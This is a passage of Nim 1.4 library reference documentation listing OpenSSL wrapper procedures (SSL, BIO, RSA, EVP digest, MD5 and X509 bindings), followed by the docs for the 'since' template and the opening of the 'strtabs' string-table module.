[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L587) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L587) ``` proc SSL_CTX_set_tlsext_servername_arg(ctx: SslCtx; arg: pointer): int {...}{. raises: [], tags: [].} ``` Set the pointer to be used in the callback registered to `SSL_CTX_set_tlsext_servername_callback`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L597) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L597) ``` proc SSL_CTX_set_psk_client_callback(ctx: SslCtx; callback: PskClientCallback) {...}{. cdecl, dynlib: DLLSSLName, importc.} ``` Set callback called when OpenSSL needs PSK (for client). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L609) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L609) ``` proc SSL_CTX_set_psk_server_callback(ctx: SslCtx; callback: PskServerCallback) {...}{. cdecl, dynlib: DLLSSLName, importc.} ``` Set callback called when OpenSSL needs PSK (for server). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L612) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L612) ``` proc SSL_CTX_use_psk_identity_hint(ctx: SslCtx; hint: cstring): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` Set PSK identity hint to use. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L615) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L615) ``` proc SSL_get_psk_identity(ssl: SslPtr): cstring {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` Get PSK identity. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L618) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L618) ``` proc SSL_CTX_set_ecdh_auto(ctx: SslCtx; onoff: cint): cint {...}{.inline, raises: [Exception], tags: [RootEffect].} ``` Set automatic curve selection. On OpenSSL >= 1.1.0 this is on by default and cannot be disabled. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L621) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L621) ``` proc bioNew(b: PBIO_METHOD): BIO {...}{.cdecl, dynlib: DLLUtilName, importc: "BIO_new".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L630) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L630) ``` proc bioFreeAll(b: BIO) {...}{.cdecl, dynlib: DLLUtilName, importc: "BIO_free_all".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L631) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L631) ``` proc bioSMem(): PBIO_METHOD {...}{.cdecl, dynlib: DLLUtilName, importc: "BIO_s_mem".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L632) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L632) ``` proc bioCtrlPending(b: BIO): cint {...}{.cdecl, dynlib: DLLUtilName, importc: "BIO_ctrl_pending".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L633) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L633) ``` proc bioRead(b: BIO; Buf: cstring; length: cint): cint {...}{.cdecl, dynlib: DLLUtilName, importc: "BIO_read".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L634) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L634) ``` proc bioWrite(b: BIO; Buf: cstring; length: cint): cint {...}{.cdecl, dynlib: DLLUtilName, importc: "BIO_write".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L636) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L636) ``` proc sslSetConnectState(s: SslPtr) {...}{.cdecl, dynlib: DLLSSLName, importc: "SSL_set_connect_state".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L639) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L639) ``` proc sslSetAcceptState(s: SslPtr) {...}{.cdecl, dynlib: DLLSSLName, importc: "SSL_set_accept_state".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L641) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L641) ``` proc sslRead(ssl: SslPtr; buf: cstring; num: cint): cint {...}{.cdecl, dynlib: DLLSSLName, importc: "SSL_read".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L644) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L644) ``` proc sslPeek(ssl: SslPtr; buf: cstring; num: cint): cint {...}{.cdecl, dynlib: DLLSSLName, importc: "SSL_peek".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L646) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L646) ``` proc sslWrite(ssl: SslPtr; buf: cstring; num: cint): cint {...}{.cdecl, dynlib: DLLSSLName, importc: "SSL_write".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L648) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L648) ``` proc sslSetBio(ssl: SslPtr; rbio, wbio: BIO) {...}{.cdecl, dynlib: DLLSSLName, importc: "SSL_set_bio".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L651) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L651) ``` proc sslDoHandshake(ssl: SslPtr): cint {...}{.cdecl, dynlib: DLLSSLName, importc: "SSL_do_handshake".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L654) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L654) ``` proc ErrClearError() {...}{.cdecl, dynlib: DLLUtilName, importc: "ERR_clear_error".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L659) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L659) ``` proc ErrFreeStrings() {...}{.cdecl, dynlib: DLLUtilName, importc: "ERR_free_strings".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L660) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L660) ``` proc ErrRemoveState(pid: cint) {...}{.cdecl, dynlib: DLLUtilName, importc: "ERR_remove_state".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L661) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L661) ``` proc PEM_read_bio_RSA_PUBKEY(bp: BIO; x: ptr PRSA; pw: pem_password_cb; u: pointer): PRSA {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L663) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L663) ``` proc RSA_verify(kind: cint; origMsg: pointer; origMsgLen: cuint; signature: pointer; signatureLen: cuint; rsa: PRSA): cint {...}{. cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L666) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L666) ``` proc PEM_read_RSAPrivateKey(fp: pointer; x: ptr PRSA; cb: pem_password_cb; u: pointer): PRSA {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L668) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L668) ``` proc PEM_read_RSAPublicKey(fp: pointer; x: ptr PRSA; cb: pem_password_cb; u: pointer): PRSA {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L670) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L670) ``` proc PEM_read_bio_RSAPublicKey(bp: BIO; x: ptr PRSA; cb: pem_password_cb; u: pointer): PRSA {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L672) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L672) ``` proc PEM_read_bio_RSAPrivateKey(bp: BIO; x: ptr PRSA; cb: pem_password_cb; u: pointer): PRSA {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L674) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L674) ``` proc RSA_private_encrypt(flen: cint; fr: ptr cuchar; to: ptr cuchar; rsa: PRSA; padding: PaddingType): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L676) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L676) ``` proc RSA_public_encrypt(flen: cint; fr: ptr cuchar; to: ptr cuchar; rsa: PRSA; padding: PaddingType): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L678) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L678) ``` proc RSA_private_decrypt(flen: cint; fr: ptr cuchar; to: ptr cuchar; rsa: PRSA; padding: PaddingType): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L680) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L680) ``` proc RSA_public_decrypt(flen: cint; fr: ptr cuchar; to: ptr cuchar; rsa: PRSA; padding: PaddingType): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L682) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L682) ``` proc RSA_free(rsa: PRSA) {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L684) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L684) ``` proc RSA_size(rsa: PRSA): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L685) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L685) ``` proc EVP_md_null(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L688) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L688) ``` proc EVP_md2(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L689) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L689) ``` proc EVP_md4(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L690) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L690) ``` proc EVP_md5(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L691) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L691) ``` proc EVP_sha(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L692) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L692) ``` proc EVP_sha1(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L693) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L693) ``` proc EVP_dss(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L694) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L694) ``` proc EVP_dss1(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L695) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L695) ``` proc EVP_ecdsa(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L696) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L696) ``` proc EVP_sha224(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L697) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L697) ``` proc EVP_sha256(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L698) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L698) ``` proc EVP_sha384(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L699) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L699) ``` proc EVP_sha512(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L700) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L700) ``` proc EVP_mdc2(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L701) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L701) ``` proc EVP_ripemd160(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L702) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L702) ``` proc EVP_whirlpool(): EVP_MD {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L703) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L703) ``` proc EVP_MD_size(md: EVP_MD): cint {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L704) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L704) ``` proc HMAC(evp_md: EVP_MD; key: pointer; key_len: cint; d: cstring; n: csize_t; md: cstring; md_len: ptr cuint): cstring {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L707) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L707) ``` proc PEM_read_bio_PrivateKey(bp: BIO; x: ptr EVP_PKEY; cb: pointer; u: pointer): EVP_PKEY {...}{. cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L710) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L710) ``` proc EVP_PKEY_free(p: EVP_PKEY) {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L711) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L711) ``` proc EVP_DigestSignInit(ctx: EVP_MD_CTX; pctx: ptr EVP_PKEY_CTX; typ: EVP_MD; e: ENGINE; pkey: EVP_PKEY): cint {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L712) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L712) ``` proc EVP_DigestInit_ex(ctx: EVP_MD_CTX; typ: PEVP_MD; engine: SslPtr = nil): cint {...}{. cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L713) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L713) ``` proc EVP_DigestUpdate(ctx: EVP_MD_CTX; data: pointer; len: cuint): cint {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L714) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L714) ``` proc EVP_DigestFinal_ex(ctx: EVP_MD_CTX; buffer: pointer; size: ptr cuint): cint {...}{. cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L715) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L715) ``` proc EVP_DigestSignFinal(ctx: EVP_MD_CTX; data: pointer; len: ptr csize_t): cint {...}{. cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L716) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L716) ``` proc EVP_PKEY_CTX_new(pkey: EVP_PKEY; e: ENGINE): EVP_PKEY_CTX {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L717) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L717) ``` proc EVP_PKEY_CTX_free(pkeyCtx: EVP_PKEY_CTX) {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L718) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L718) ``` proc EVP_PKEY_sign_init(c: EVP_PKEY_CTX): cint {...}{.cdecl, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L719) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L719) ``` proc EVP_MD_CTX_create(): EVP_MD_CTX {...}{.cdecl, importc: "EVP_MD_CTX_new".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L727) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L727) ``` proc EVP_MD_CTX_destroy(ctx: EVP_MD_CTX) {...}{.cdecl, importc: "EVP_MD_CTX_free".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L728) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L728) ``` proc EVP_MD_CTX_cleanup(ctx: EVP_MD_CTX): cint {...}{.cdecl, importc: "EVP_MD_CTX_cleanup".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L729) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L729) ``` proc md5_Init(c: var MD5_CTX): cint {...}{.importc: "MD5_Init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L745) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L745) ``` proc md5_Update(c: var MD5_CTX; data: pointer; len: csize_t): cint {...}{. importc: "MD5_Update".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L746) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L746) ``` proc md5_Final(md: cstring; c: var MD5_CTX): cint {...}{.importc: "MD5_Final".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L747) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L747) ``` proc md5(d: ptr cuchar; n: csize_t; md: ptr cuchar): ptr cuchar {...}{.importc: "MD5".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L748) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L748) ``` proc md5_Transform(c: var MD5_CTX; b: ptr cuchar) {...}{.importc: "MD5_Transform".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L749) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L749) ``` proc md5_File(file: string): string {...}{.raises: [IOError, Exception], tags: [ReadIOEffect].} ``` Generate MD5 hash for a file. Result is a 32 character [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L760) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L760) ``` proc md5_Str(str: string): string {...}{.raises: [], tags: [].} ``` Generate MD5 hash for a string. Result is a 32 character hex string with lowercase characters [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L780) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L780) ``` proc SSL_get_peer_certificate(ssl: SslCtx): PX509 {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L806) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L806) ``` proc X509_get_subject_name(a: PX509): PX509_NAME {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L809) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L809) ``` proc X509_get_issuer_name(a: PX509): PX509_NAME {...}{.cdecl, dynlib: DLLUtilName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L811) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L811) ``` proc X509_NAME_oneline(a: PX509_NAME; buf: cstring; size: cint): cstring {...}{. cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L813) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L813) ``` proc X509_NAME_get_text_by_NID(subject: cstring; NID: cint; buf: cstring; size: cint): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L816) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L816) ``` proc X509_check_host(cert: PX509; name: cstring; namelen: cint; flags: cuint; peername: cstring): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L819) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L819) ``` proc X509_free(cert: PX509) {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L821) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L821) ``` proc X509_OBJECT_new(): PX509_OBJECT {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L830) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L830) ``` proc X509_OBJECT_free(a: PX509_OBJECT) {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L831) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L831) ``` proc X509_STORE_new(): PX509_STORE {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L833) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L833) ``` proc X509_STORE_free(v: PX509_STORE) {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L834) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L834) ``` proc X509_STORE_lock(ctx: PX509_STORE): cint {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L835) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L835) ``` proc X509_STORE_unlock(ctx: PX509_STORE): cint {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L836) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L836) ``` proc X509_STORE_up_ref(v: PX509_STORE): cint {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L837) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L837) ``` proc X509_STORE_set_flags(ctx: PX509_STORE; flags: culong): cint {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L838) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L838) ``` proc X509_STORE_set_purpose(ctx: PX509_STORE; purpose: cint): cint {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L839) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L839) ``` proc X509_STORE_set_trust(ctx: PX509_STORE; trust: cint): cint {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L840) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L840) ``` proc X509_STORE_add_cert(ctx: PX509_STORE; x: PX509): cint {...}{.importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L841) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L841)
programming_docs
nim since since ===== Templates --------- ``` template since(version: (int, int); body: untyped) {...}{.dirty.} ``` Evaluates `body` if the `(NimMajor, NimMinor)` is greater than or equal to `version`. Usage: ``` proc fun*() {.since: (1, 3).} since (1, 3): fun() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/private/since.nim#L1) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/private/since.nim#L1) ``` template since(version: (int, int, int); body: untyped) {...}{.dirty.} ``` Evaluates `body` if `(NimMajor, NimMinor, NimPatch)` is greater than or equal to `version`. Usage: ``` proc fun*() {.since: (1, 3, 1).} since (1, 3, 1): fun() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/private/since.nim#L11) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/private/since.nim#L11) nim strtabs strtabs ======= The `strtabs` module implements an efficient hash table that is a mapping from strings to strings. Supports a case-sensitive, case-insensitive and style-insensitive mode. **Example:** ``` var t = newStringTable() t["name"] = "John" t["city"] = "Monaco" doAssert t.len == 2 doAssert t.hasKey "name" doAssert "name" in t ``` String tables can be created from a table constructor: **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable ``` When using the style insensitive mode (`modeStyleInsensitive`), all letters are compared case insensitively within the ASCII range and underscores are ignored. **Example:** ``` var x = newStringTable(modeStyleInsensitive) x["first_name"] = "John" x["LastName"] = "Doe" doAssert x["firstName"] == "John" doAssert x["last_name"] == "Doe" ``` An efficient string substitution operator [%](#%25,string,StringTableRef,set%5BFormatFlag%5D) for the string table is also provided. **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable doAssert "${name} lives in ${city}" % t == "John lives in Monaco" ``` **See also:*** [tables module](tables) for general hash tables * [sharedtables module](sharedtables) for shared hash table support * [strutils module](strutils) for common string functions * [json module](json) for table-like structure which allows heterogeneous members Imports ------- <since>, <hashes>, <strutils>, <os> Types ----- ``` StringTableMode = enum modeCaseSensitive, ## the table is case sensitive modeCaseInsensitive, ## the table is case insensitive modeStyleInsensitive ## the table is style insensitive ``` Describes the tables operation mode. 